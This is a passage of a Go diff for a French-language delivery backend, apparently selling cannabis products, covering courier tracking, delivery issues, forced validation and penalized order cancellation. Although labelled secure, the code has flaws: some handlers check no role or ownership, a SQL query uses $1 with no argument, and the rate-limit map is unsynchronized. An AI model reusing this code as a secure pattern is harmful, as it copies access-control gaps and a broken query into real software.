database.AddCommandLog(commandID, "address_updated", message, cabineUsername.(string))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Adresse de livraison mise à jour",
|
||||
"command_id": commandID,
|
||||
"delivery_address": req.DeliveryAddress,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 3. LIVREUR POSITION
|
||||
// ============================================
|
||||
|
||||
func GetLivreurPosition(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
livreurUsername := c.Param("username")
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Accès refusé - Réservé aux administrateurs et cabines",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if livreurUsername == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username livreur requis"})
|
||||
return
|
||||
}
|
||||
|
||||
position, err := database.GetLivreurPosition(livreurUsername)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": false,
|
||||
"livreur": livreurUsername,
|
||||
"message": "Position non disponible (GPS désactivé ou livraison terminée)",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"livreur": livreurUsername,
|
||||
"position": position,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 4. DELIVERY TRACKING CLIENT (SANS GPS)
|
||||
// ============================================
|
||||
|
||||
func GetDeliveryTrackingClient(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
if command["username"].(string) != username.(string) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Cette commande ne vous appartient pas"})
|
||||
return
|
||||
}
|
||||
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
logs, _ := database.GetCommandLogs(commandID)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"status": command["status"],
|
||||
"livreur": livreurAssign,
|
||||
"address": command["adresse"],
|
||||
"logs": logs,
|
||||
"message": "Suivi en cours - ETA disponible via /api/v1/orders/:id/eta",
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 5. DELIVERY TRACKING ADMIN (AVEC GPS)
|
||||
// ============================================
|
||||
|
||||
func GetDeliveryTracking(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Accès refusé - Réservé aux administrateurs et cabines",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign == "" {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command": command,
|
||||
"status": "Aucun livreur assigné",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
position, err := database.GetLivreurPosition(livreurAssign)
|
||||
logs, _ := database.GetCommandLogs(commandID)
|
||||
|
||||
response := gin.H{
|
||||
"success": true,
|
||||
"command": command,
|
||||
"livreur": livreurAssign,
|
||||
"logs": logs,
|
||||
}
|
||||
|
||||
status, _ := command["status"].(string)
|
||||
if err != nil && (status == "livre" || status == "approved") {
|
||||
response["livreur_position"] = nil
|
||||
response["position_status"] = "Livraison terminée - Position non suivie"
|
||||
} else if err != nil {
|
||||
response["livreur_position"] = nil
|
||||
response["position_status"] = "Position non disponible (GPS peut-être désactivé)"
|
||||
} else {
|
||||
response["livreur_position"] = position
|
||||
response["position_status"] = "Position en temps réel"
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, response)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 6. DELIVERY ISSUES
|
||||
// ============================================
|
||||
|
||||
func GetDeliveryIssues(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
status := c.Query("status")
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Accès refusé - Réservé aux administrateurs et cabines",
|
||||
})
|
||||
return
|
||||
}
|
||||
issues, err := database.GetDeliveryIssues(status)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération problèmes",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"issues": issues,
|
||||
"count": len(issues),
|
||||
})
|
||||
}
|
||||
|
||||
func CreateDeliveryIssue(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
var req struct {
|
||||
CommandID int `json:"command_id" binding:"required"`
|
||||
IssueType string `json:"issue_type" binding:"required"`
|
||||
Description string `json:"description" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
cabineUsername, _ := c.Get("username")
|
||||
|
||||
issue, err := database.CreateDeliveryIssue(
|
||||
req.CommandID,
|
||||
req.IssueType,
|
||||
req.Description,
|
||||
cabineUsername.(string),
|
||||
)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur création problème",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusCreated, gin.H{
|
||||
"success": true,
|
||||
"message": "Problème enregistré",
|
||||
"issue": issue,
|
||||
})
|
||||
}
|
||||
|
||||
func UpdateDeliveryIssue(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
issueID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Status string `json:"status"`
|
||||
Resolution string `json:"resolution"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
cabineUsername, _ := c.Get("username")
|
||||
|
||||
err = database.UpdateDeliveryIssue(issueID, req.Status, req.Resolution, cabineUsername.(string))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Problème mis à jour",
|
||||
})
|
||||
}
|
||||
|
||||
func AddDeliverySupport(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
c.ShouldBindJSON(&req)
|
||||
|
||||
if req.Message == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Message requis",
|
||||
"example": gin.H{
|
||||
"message": "Votre message de support ici",
|
||||
},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
cabineUsername, _ := c.Get("username")
|
||||
|
||||
err = database.AddCommandLog(
|
||||
commandID,
|
||||
"support",
|
||||
fmt.Sprintf("Support cabine: %s", req.Message),
|
||||
cabineUsername.(string),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur ajout support",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Support ajouté",
|
||||
})
|
||||
}
|
||||
|
||||
func GetCommandLogs(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
logs, err := database.GetCommandLogs(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération logs",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"logs": logs,
|
||||
"count": len(logs),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 7. FORCE VALIDATE DELIVERY
|
||||
// ============================================
|
||||
|
||||
func ForceValidateDelivery(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé - Admin seulement"})
|
||||
return
|
||||
}
|
||||
|
||||
adminUsername, _ := c.Get("username")
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Reason string `json:"reason" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Raison requise pour validation forcée",
|
||||
"details": err.Error(),
|
||||
"example": gin.H{
|
||||
"reason": "Client confirmé par téléphone",
|
||||
},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if req.Reason == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Veuillez fournir une raison pour la validation forcée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Commande non trouvée",
|
||||
"command_id": commandID,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
status, ok := command["status"].(string)
|
||||
if !ok {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Statut de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
validStatuses := []string{"assigned", "in_transit", "en_route", "en_cours", "support", "pending", "priority"}
|
||||
isValidStatus := false
|
||||
for _, vs := range validStatuses {
|
||||
if status == vs {
|
||||
isValidStatus = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !isValidStatus && status != "livre" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Commande ne peut pas être validée de force dans ce statut",
|
||||
"current_status": status,
|
||||
"valid_statuses": validStatuses,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if status == "livre" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cette commande a déjà été validée",
|
||||
"current_status": status,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
err = database.UpdateCommandStatus(commandID, "livre")
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de la validation forcée",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
clientUsername, _ := command["username"].(string)
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
|
||||
if err := database.IncrementClientCommandCount(clientUsername); err != nil {
|
||||
log.Printf("⚠️ Erreur compteur commandes: %v", err)
|
||||
}
|
||||
|
||||
if err := database.AddClientPoints(clientUsername, 10); err != nil {
|
||||
log.Printf("⚠️ Erreur ajout points: %v", err)
|
||||
}
|
||||
|
||||
if livreurAssign != "" {
|
||||
log.Printf("📦 Commande %d validée de force par admin - Optimisation queue de %s...", commandID, livreurAssign)
|
||||
err := database.CompleteDeliveryAndProcessNext(livreurAssign, commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur optimisation: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
message := fmt.Sprintf("VALIDATION FORCÉE par admin %s - Raison: %s", adminUsername.(string), req.Reason)
|
||||
database.AddCommandLog(commandID, "livre", message, adminUsername.(string))
|
||||
|
||||
log.Printf("🔴 Commande %d validée de force par %s - Raison: %s", commandID, adminUsername.(string), req.Reason)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Livraison validée de force (sans vérification GPS)",
|
||||
"command_id": commandID,
|
||||
"validation_type": "forced",
|
||||
"reason": req.Reason,
|
||||
"validated_by": adminUsername.(string),
|
||||
"new_status": "livre",
|
||||
"points_awarded": 10,
|
||||
"queue_optimized": livreurAssign != "",
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,491 @@
|
||||
// ============================================
|
||||
// handlers/cancel_command_handler.go
|
||||
// ANNULATION DE COMMANDES AVEC SANCTIONS ÉVOLUTIVES
|
||||
// VERSION SÉCURISÉE - FIX ETA CHECK
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// RATE LIMITING
|
||||
// ============================================
|
||||
|
||||
var (
|
||||
cancelRateLimitMap = make(map[string][]time.Time)
|
||||
cancelMaxRequests = 5 // Max 5 annulations
|
||||
cancelTimeWindow = time.Hour // Par heure
|
||||
)
|
||||
|
||||
func checkCancelRateLimit(key string) bool {
|
||||
now := time.Now()
|
||||
|
||||
if timestamps, exists := cancelRateLimitMap[key]; exists {
|
||||
var validTimestamps []time.Time
|
||||
for _, ts := range timestamps {
|
||||
if now.Sub(ts) < cancelTimeWindow {
|
||||
validTimestamps = append(validTimestamps, ts)
|
||||
}
|
||||
}
|
||||
cancelRateLimitMap[key] = validTimestamps
|
||||
|
||||
if len(validTimestamps) >= cancelMaxRequests {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
cancelRateLimitMap[key] = append(cancelRateLimitMap[key], now)
|
||||
return true
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPERS DE SÉCURITÉ
|
||||
// ============================================
|
||||
|
||||
func validateReason(reason string) string {
|
||||
// Limiter la longueur
|
||||
if len(reason) > 500 {
|
||||
reason = reason[:500]
|
||||
}
|
||||
// Sanitizer
|
||||
reason = strings.Map(func(r rune) rune {
|
||||
if r < 32 || r == 127 {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, reason)
|
||||
|
||||
if strings.TrimSpace(reason) == "" {
|
||||
return "Annulation par le client"
|
||||
}
|
||||
|
||||
return reason
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 1️⃣ ANNULATION PAR LE CLIENT - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func CancelCommandByClient(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, err := safeGetUsername(c)
|
||||
if err != nil || c.GetString("role") != "client" {
|
||||
log.Printf("❌ [CANCEL_CLIENT] Accès refusé")
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux clients"})
|
||||
return
|
||||
}
|
||||
|
||||
rateLimitKey := fmt.Sprintf("cancel:%s", username)
|
||||
if !checkCancelRateLimit(rateLimitKey) {
|
||||
log.Printf("⚠️ [CANCEL_CLIENT] Rate limit dépassé pour %s", username)
|
||||
c.JSON(http.StatusTooManyRequests, gin.H{
|
||||
"error": "Trop d'annulations récentes",
|
||||
"message": "Veuillez attendre avant de réessayer",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil || commandID <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Reason string `json:"reason"`
|
||||
Force bool `json:"force"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
req.Reason = "Annulation par le client"
|
||||
req.Force = false
|
||||
}
|
||||
|
||||
req.Reason = validateReason(req.Reason)
|
||||
|
||||
log.Printf("🚫 [CANCEL_CLIENT] Client %s annule cmd %d (force=%v)", username, commandID, req.Force)
|
||||
|
||||
// ============================================
|
||||
// UTILISER LA FONCTION ATOMIQUE
|
||||
// ============================================
|
||||
penalty, pointsLost, err := database.CancelCommandAtomic(commandID, username, req.Reason, req.Force)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [CANCEL_CLIENT] Erreur: %v", err)
|
||||
|
||||
// ✅ GESTION SPÉCIALE POUR "confirmation requise"
|
||||
if err.Error() == "confirmation requise" {
|
||||
// ✅ RÉCUPÉRER LES INFORMATIONS DE LA COMMANDE
|
||||
command, errCmd := database.GetCommandByID(commandID)
|
||||
if errCmd != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
currentStatus, _ := command["status"].(string)
|
||||
|
||||
// ✅ VÉRIFIER SI ETA EXISTE (VERSION CORRIGÉE)
|
||||
hasETA := false
|
||||
if livreurAssign != "" {
|
||||
// ✅ FIX: Utiliser la nouvelle fonction qui vérifie VRAIMENT l'ETA
|
||||
hasETA = database.CheckCommandETAExistsAndValid(commandID)
|
||||
}
|
||||
|
||||
// ✅ CALCULER LA PÉNALITÉ QUI SERA APPLIQUÉE
|
||||
nextPenalty, _ := database.CalculateCancellationPenalty(username)
|
||||
cancelCount, _ := database.GetClientCancellationsCount(username)
|
||||
|
||||
// ✅ RÉCUPÉRER LES POINTS ACTUELS
|
||||
client, _ := database.GetClientByUsername(username)
|
||||
currentPointsWeed := 0
|
||||
currentPointsZipette := 0
|
||||
if client != nil {
|
||||
currentPointsWeed = client.Point
|
||||
currentPointsZipette = client.PointZipette
|
||||
}
|
||||
totalPoints := currentPointsWeed + currentPointsZipette
|
||||
|
||||
// ✅ CONSTRUIRE LA RÉPONSE EN FONCTION DE hasETA
|
||||
response := gin.H{
|
||||
"success": false,
|
||||
"warning": true,
|
||||
"command_info": gin.H{
|
||||
"command_id": commandID,
|
||||
"status": currentStatus,
|
||||
"livreur": livreurAssign,
|
||||
},
|
||||
}
|
||||
|
||||
if hasETA {
|
||||
// ⚠️ CAS 1: LIVREUR EN ROUTE (ETA définie) = PÉNALITÉ TOTALE
|
||||
log.Printf("⚠️ [CANCEL_CLIENT] Annulation tardive avec ETA - Status: %s, Livreur: %s", currentStatus, livreurAssign)
|
||||
|
||||
response["message"] = "⚠️ Un livreur est en route vers votre adresse (ETA définie)"
|
||||
response["details"] = gin.H{
|
||||
"livreur": livreurAssign,
|
||||
"status": currentStatus,
|
||||
"has_eta": true,
|
||||
}
|
||||
response["penalty_warning"] = gin.H{
|
||||
"will_apply": true,
|
||||
"penalty_amount": nextPenalty,
|
||||
"current_violations": cancelCount,
|
||||
"current_points_weed": currentPointsWeed,
|
||||
"current_points_zipette": currentPointsZipette,
|
||||
"total_points": totalPoints,
|
||||
"points_will_reset": true,
|
||||
"message": fmt.Sprintf(
|
||||
"⚠️ ATTENTION: Une amende de %d points sera appliquée ET tous vos points (%d weed/hash + %d zipette = %d total) seront remis à zéro!",
|
||||
nextPenalty, currentPointsWeed, currentPointsZipette, totalPoints,
|
||||
),
|
||||
"scale": gin.H{
|
||||
"1st_cancel": "20 points + remise à zéro TOTALE",
|
||||
"2nd_cancel": "50 points + remise à zéro TOTALE",
|
||||
"3rd_cancel": "100 points + remise à zéro TOTALE",
|
||||
"4th+_cancel": "150 points + remise à zéro TOTALE",
|
||||
"your_next": fmt.Sprintf("%d points + remise à zéro de tous vos %d points", nextPenalty, totalPoints),
|
||||
},
|
||||
}
|
||||
} else {
|
||||
// ℹ️ CAS 2: LIVREUR ASSIGNÉ MAIS PAS EN ROUTE (PAS D'ETA) = PAS DE PÉNALITÉ
|
||||
log.Printf("ℹ️ [CANCEL_CLIENT] Livreur assigné mais pas d'ETA - Annulation sans pénalité")
|
||||
|
||||
response["message"] = "ℹ️ Un livreur est assigné mais n'est pas encore en route"
|
||||
response["details"] = gin.H{
|
||||
"livreur": livreurAssign,
|
||||
"status": currentStatus,
|
||||
"has_eta": false,
|
||||
}
|
||||
response["penalty_warning"] = gin.H{
|
||||
"will_apply": false,
|
||||
"message": "Aucune pénalité ne sera appliquée car le livreur n'est pas encore en route",
|
||||
"points_safe": true,
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ AJOUTER LES INSTRUCTIONS D'ACTION
|
||||
response["action_required"] = "Pour confirmer l'annulation, renvoyez la même requête avec 'force': true"
|
||||
response["example"] = gin.H{
|
||||
"reason": req.Reason,
|
||||
"force": true,
|
||||
}
|
||||
|
||||
// ✅ AJOUTER POSITION DANS LA QUEUE (si disponible)
|
||||
if livreurAssign != "" {
|
||||
position, posErr := database.GetCommandPositionInQueue(livreurAssign, commandID)
|
||||
if posErr == nil && position > 0 {
|
||||
response["details"].(gin.H)["position_in_queue"] = position
|
||||
|
||||
queueInfo, _ := database.GetDeliverymanQueueInfo(livreurAssign)
|
||||
if queueInfo != nil {
|
||||
response["details"].(gin.H)["queue_info"] = queueInfo
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("⚠️ [CANCEL_CLIENT] Confirmation requise pour cmd %d - hasETA=%v, penalty=%d",
|
||||
commandID, hasETA, nextPenalty)
|
||||
|
||||
c.JSON(http.StatusConflict, response)
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ AUTRES ERREURS
|
||||
switch err.Error() {
|
||||
case "commande non trouvée":
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
|
||||
case "commande ne vous appartient pas":
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Cette commande ne vous appartient pas"})
|
||||
|
||||
case "impossible d'annuler":
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Cette commande ne peut plus être annulée"})
|
||||
|
||||
default:
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Impossible d'annuler la commande"})
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// SUCCÈS
|
||||
// ============================================
|
||||
log.Printf("✅ [CANCEL_CLIENT] Commande %d annulée", commandID)
|
||||
|
||||
response := gin.H{
|
||||
"success": true,
|
||||
"message": "Commande annulée avec succès",
|
||||
"command_id": commandID,
|
||||
"new_status": "cancelled",
|
||||
}
|
||||
|
||||
if penalty > 0 {
|
||||
response["penalty"] = gin.H{
|
||||
"penalty_points": penalty,
|
||||
"points_weed_lost": pointsLost["weed"],
|
||||
"points_zipette_lost": pointsLost["zipette"],
|
||||
"total_points_lost": pointsLost["weed"] + pointsLost["zipette"],
|
||||
"warning": "Une pénalité a été appliquée et vos points ont été remis à zéro",
|
||||
}
|
||||
} else {
|
||||
response["info"] = "Aucune pénalité appliquée"
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, response)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HISTORIQUE DES ANNULATIONS - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func GetMyCancellationHistory(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, err := safeGetUsername(c)
|
||||
if err != nil || c.GetString("role") != "client" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux clients"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📊 [CANCEL_HISTORY] Client %s - Consultation historique", username)
|
||||
|
||||
history, err := database.GetClientCancellationHistory(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CANCEL_HISTORY] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération historique",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var totalPenalty int
|
||||
penaltyQuery := `SELECT COALESCE(amende, 0) FROM clients WHERE username = $1`
|
||||
database.QueryRow(penaltyQuery).Scan(&totalPenalty)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"data": gin.H{
|
||||
"username": username,
|
||||
"history": history,
|
||||
"total_penalties": totalPenalty,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// LISTE DES COMMANDES ANNULÉES - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func GetAllCancelledOrders(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, err := safeGetUsername(c)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
log.Printf("❌ [GET_ALL_CANCELLED] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VALIDATION des paramètres
|
||||
filterUsername := c.Query("username")
|
||||
if len(filterUsername) > 100 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username trop long"})
|
||||
return
|
||||
}
|
||||
|
||||
limitStr := c.DefaultQuery("limit", "50")
|
||||
limit, err := strconv.Atoi(limitStr)
|
||||
if err != nil || limit < 1 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 500 {
|
||||
limit = 500
|
||||
}
|
||||
|
||||
log.Printf("📋 [GET_ALL_CANCELLED] %s (%s) récupère %d commandes", username, userRole, limit)
|
||||
|
||||
cancelledOrders, err := database.GetCancelledCommands(filterUsername, limit)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_ALL_CANCELLED] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de la récupération",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ ENRICHIR les données (sans exposer d'infos sensibles inutiles)
|
||||
var enrichedOrders []map[string]interface{}
|
||||
for _, order := range cancelledOrders {
|
||||
orderID, _ := order["id"].(int)
|
||||
|
||||
items, _ := database.GetCommandItems(orderID)
|
||||
logs, _ := database.GetCommandLogs(orderID)
|
||||
|
||||
var cancellationLog map[string]interface{}
|
||||
for _, logEntry := range logs {
|
||||
status, _ := logEntry["status"].(string)
|
||||
if status == "cancelled" {
|
||||
cancellationLog = logEntry
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
enrichedOrder := map[string]interface{}{
|
||||
"id": order["id"],
|
||||
"username": order["username"],
|
||||
"total_prix": order["total_prix"],
|
||||
"created_at": order["created_at"],
|
||||
"updated_at": order["updated_at"],
|
||||
"items_count": len(items),
|
||||
}
|
||||
|
||||
if cancellationLog != nil {
|
||||
enrichedOrder["cancellation"] = gin.H{
|
||||
"cancelled_at": cancellationLog["created_at"],
|
||||
"cancelled_by": cancellationLog["author"],
|
||||
}
|
||||
}
|
||||
|
||||
enrichedOrders = append(enrichedOrders, enrichedOrder)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_ALL_CANCELLED] %d commandes récupérées", len(enrichedOrders))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"data": gin.H{
|
||||
"cancelled_orders": enrichedOrders,
|
||||
"count": len(enrichedOrders),
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// SUPPRESSION PAR CABINE - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func DeleteCommandByCabine(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, err := safeGetUsername(c)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "cabine" && userRole != "admin" {
|
||||
log.Printf("❌ [DELETE_COMMAND] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux cabines"})
|
||||
return
|
||||
}
|
||||
|
